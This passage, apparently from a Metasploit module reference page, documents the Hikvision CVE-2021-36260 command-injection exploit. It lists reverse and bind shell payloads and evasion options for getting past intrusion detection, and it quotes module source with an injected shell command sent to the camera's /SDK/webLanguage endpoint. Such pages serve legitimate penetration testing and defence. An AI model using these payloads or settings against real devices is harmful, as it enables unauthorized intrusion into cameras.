                           Mobile/15E148 Safari/604.1
   VERBOSE                 false                               no        Enable detailed status messages
   WORKSPACE                                                   no        Specify the workspace for this module
   WfsDelay                2                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/bind_busybox_telnetd):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand  pkill telnetd    yes       A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/hikvision_cve_2021_36260_blind module can exploit:

msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/hikvision_cve_2021_36260_blind exploit:

msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   49  payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/hikvision_cve_2021_36260_blind exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none,
                                                             gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space
                                                            , tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: spac
                                                            e, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random
                                                            , hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Didn't receive a response from the target.


Here is a relevant code snippet related to the "Didn't receive a response from the target." error message:

105:	    # </script>
106:	    res = send_request_cgi({
107:	      'method' => 'GET',
108:	      'uri' => normalize_uri(target_uri.path, '/')
109:	    })
110:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
111:	    return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
112:	    return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')
113:	
114:	    payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
115:	    res = send_request_cgi({

The target did not respond with a 200 OK


Here is a relevant code snippet related to the "The target did not respond with a 200 OK" error message:

106:	    res = send_request_cgi({
107:	      'method' => 'GET',
108:	      'uri' => normalize_uri(target_uri.path, '/')
109:	    })
110:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
111:	    return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
112:	    return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')
113:	
114:	    payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
115:	    res = send_request_cgi({
116:	      'method' => 'PUT',

The target doesn't appear to be a Hikvision device


Here is a relevant code snippet related to the "The target doesn't appear to be a Hikvision device" error message:

107:	      'method' => 'GET',
108:	      'uri' => normalize_uri(target_uri.path, '/')
109:	    })
110:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
111:	    return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
112:	    return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')
113:	
114:	    payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
115:	    res = send_request_cgi({
116:	      'method' => 'PUT',
117:	      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),

Didn't receive a response from the target.


Here is a relevant code snippet related to the "Didn't receive a response from the target." error message:

116:	      'method' => 'PUT',
117:	      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
118:	      'data' => payload
119:	    })
120:	
121:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
122:	    return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)
123:	
124:	    # Some cameras are not vulnerable and still respond 500. We can weed them out by making
125:	    # the remote target sleep and use a low timeout. This might not be good for high latency targets
126:	    # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all

The target did not respond with a 200 OK or 500 error


Here is a relevant code snippet related to the "The target did not respond with a 200 OK or 500 error" error message:

117:	      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
118:	      'data' => payload
119:	    })
120:	
121:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
122:	    return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)
123:	
124:	    # Some cameras are not vulnerable and still respond 500. We can weed them out by making
125:	    # the remote target sleep and use a low timeout. This might not be good for high latency targets
126:	    # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
127:	    # 500 responses as vulnerable.

It appears the target executed the provided sleep command.


Here is a relevant code snippet related to the "It appears the target executed the provided sleep command." error message:

130:	      'method' => 'PUT',
131:	      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
132:	      'data' => payload
133:	    }, 10)
134:	
135:	    return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res
136:	
137:	    CheckCode::Safe('The target did not execute the provided sleep command.')
138:	  end
139:	
140:	  def execute_command(cmd, _opts = {})

The target did not execute the provided sleep command.


Here is a relevant code snippet related to the "The target did not execute the provided sleep command." error message:

132:	      'data' => payload
133:	    }, 10)
134:	
135:	    return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res
136:	
137:	    CheckCode::Safe('The target did not execute the provided sleep command.')
138:	  end
139:	
140:	  def execute_command(cmd, _opts = {})
141:	    # The injection space is very small. The entire snprintf is 0x1f bytes and the
142:	    # format string is:

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

159:	      'method' => 'PUT',
160:	      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
161:	      'data' => payload
162:	    })
163:	
164:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
165:	    fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)
166:	  end
167:	
168:	  def exploit
169:	    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

HTTP status code is not 200 or 500: <RES.CODE>


Here is a relevant code snippet related to the "HTTP status code is not 200 or 500: <RES.CODE>" error message:

160:	      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
161:	      'data' => payload
162:	    })
163:	
164:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
165:	    fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)
166:	  end
167:	
168:	  def exploit
169:	    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
170:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Watchful_IP
  • bashis
  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.